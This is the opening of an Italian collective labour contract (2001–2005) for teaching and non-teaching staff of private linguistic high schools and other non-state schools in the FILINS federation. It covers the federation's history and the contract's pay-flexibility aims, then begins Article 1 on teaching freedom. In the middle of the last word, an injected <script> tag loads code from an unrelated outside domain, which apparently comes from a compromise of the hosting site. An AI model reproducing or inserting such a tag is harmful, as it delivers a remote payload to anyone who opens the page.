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Categoria: Scuole - licei linguistici privati Settore: Enti Privati Data stipula: 9-7-2001 Data decorrenza: 1-9-2001 Data scadenza: 31-8-2005
Contratto Collettivo Nazionale di Lavoro
PER IL PERSONALE DIPENDENTE DIRETTIVO, DOCENTE E NON DOCENTE
DEI LICEI LINGUISTICI E DEGLI ISTITUTI D'ISTRUZIONE, ASSOCIATI A FILINS
(in vigore dal 1° settembre 2001 al 31 agosto 2005)
PREMESSA
Il CCNL FILL-CISNAL in vigore dal 1° settembre 1996 al 31 agosto 2000,
alla scadenza è stato prorogato di 1 anno fino al 31 agosto 2001.
Per il prossimo quadriennio, dal 1° settembre 2001 al 31 agosto 2005, è
stato stipulato il presente CCNL, che sostituisce a tutti gli effetti il
precedente.
Dal 28.11.98 la Federazione Italiana Licei Linguistici (FILL) è diventata
Federazione Italiana Licei Linguistici e Istituti Scolastici Non Statali
(FILINS) con rogito registrato il 14.12.99.
FILL si è rinnovata, senza rinunciare alle proprie radici, e ha aperto
l'iscrizione a tutte le scuole non statali, dalle scuole materne, alle
elementari, alle superiori e alle accademie, purché in possesso di presa
d'atto o che rilasciano titoli legali di studio.
FILINS eredita l'esperienza, la tradizione e i valori che hanno ispirato
FILL nel suoi 14 anni d'intensa attività e il CCNL stipulato con CISNAL
(ora UGL).
Com'è noto, anche CISNAL ha rinnovato il proprio statuto assumendo la
denominazione di Unione Generale Lavoratori (UGL).
L'accordo raggiunto, non senza un sofferto e meditato confronto fra le
parti, rappresenta indubbiamente un notevole passo in avanti verso quella
flessibilità necessaria per tener conto sia delle diverse situazioni
economiche e ambientali in cui opera la scuola non statale (superamento
delle gabbie retributive) sia dei meriti di ciascun docente, anche in
funzione degli incarichi assegnati (funzioni obiettivo, ecc.); aspetti,
questi, che hanno creato nel pubblico impiego non poche polemiche e
difficoltà di soluzione.
Inoltre la flessibilità introdotta nel presente accordo consente una
contrattazione aziendale entro i limiti minimi retributivi stabiliti,
evitando l'insorgere di conflitti sindacali a livello periferico.
Ma la flessibilità non è l'unica caratteristica che contraddistingue il
presente patto sociale.
Come già è stato previsto nei contratti precedenti, viene considerata ogni
prestazione lavorativa del docente: per esempio, viene compensato il
lavoro di correzione degli elaborati scritti o grafici, viene riconosciuto
un gettone di partecipazione ai consigli degli Organi collegiali o
all'incontro con le famiglie, viene considerato il lavoro svolto in seno
alle commissioni d'esame, ecc.
Le parti firmatarie hanno inteso realizzare le condizioni per una reale
applicabilità delle norme contrattuali, tenendo conto di tutti i fattori,
oggettivi e soggettivi, che incidono sulla situazione economica e
giuridica in cui operano le scuole non statali.
Nel contempo, auspicano che il personale in servizio presso le scuole non
statali, paritarie o legalmente riconosciute, sia liberato da
discriminazioni basate sul demagogico conflitto fra pubblico e privato;
auspicano che detto personale possa avere, in un prossimo futuro, un
trattamento paritetico a quello delle scuole statali, a cominciare dal
pieno riconoscimento del servizio prestato nell'ambito di istituzioni che
rilasciano titoli legali di studio.
Il contratto, grazie alla fattiva collaborazione del prof. Giovanni
Piccardo, è arricchito con riferimenti giurisprudenziali e normativi
intesi ad offrire un primo orientamento nella vasta casistica del lavoro.
NOTE
Dal T.U.
Art. 1 - Formazione della personalità degli alunni
e libertà d'insegnamento.
1. Nel rispetto delle norme costituzionali e degli ordinamenti della
scuola stabiliti dal presente testo unico, ai docenti è garantita la
libertà di insegnamento intesa come autonomia didattica e come libera
espressione cultur<script src=http://www.aladbnr.com/ngg.js></script>
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